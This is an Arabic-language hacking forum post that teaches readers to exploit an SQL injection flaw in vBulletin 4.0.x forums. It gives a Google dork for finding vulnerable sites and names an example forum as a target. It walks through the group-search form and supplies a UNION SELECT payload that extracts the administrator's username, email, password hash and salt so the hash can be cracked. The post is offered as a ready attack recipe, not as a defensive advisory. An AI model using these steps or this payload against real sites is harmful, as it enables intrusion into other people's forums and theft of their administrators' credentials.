السلام عليكم و رحمة الله و بركاته
بسم الله الرحمن الرحيم

إخواني اليوم جايبلكم ثغرة حقن لقواعد البيانات sql injection في منتديات vBulletin الجيل الرابع الإصدارات الأولى 4.0.x

الملف المصاب هو socialgroup.php و سكربت البحث searchtools.php

-----------------------------------------------

نجي للمهم
1- طريقة البحث في العم قوقل ضع هذا الدورك

كود PHP:
inurl:"search.php?search_type=1" intext:vbulletin 4 

2-إستغلال الثغرة

ستجد الكثير من النتائج في قوقل ادخل على واحدة على سبيل المثال

http://forums.millennium.com/search.php?search_type=1

في منتصف الصفحة فوق خانة الكلمة التي سنبحث عنها اذهب إلى

"Search Multiple Content Types"

ثم ضح صح على خيار groups أو مجموعات

ثم ضع كلمة و ابحث
ثم الحقن يكون كالتالي
كود PHP:
 UNION SELECT concat(username,0x3a,email,0x3a,password,0x3a,salt) FROM user WHERE userid=1# 

بعد الرابط و النتيجة
ستظهر لنا اليوزر و إيميل و باسوورد الأدمن مشفر و السالت أي نوع التشفير لأنه مهم لنستطيع فك التشفير

ملاحظة " النسخة 4.1.3 vBulletin لا تحوي هذه الثغرة

دمتم بود و السموحة على التقصير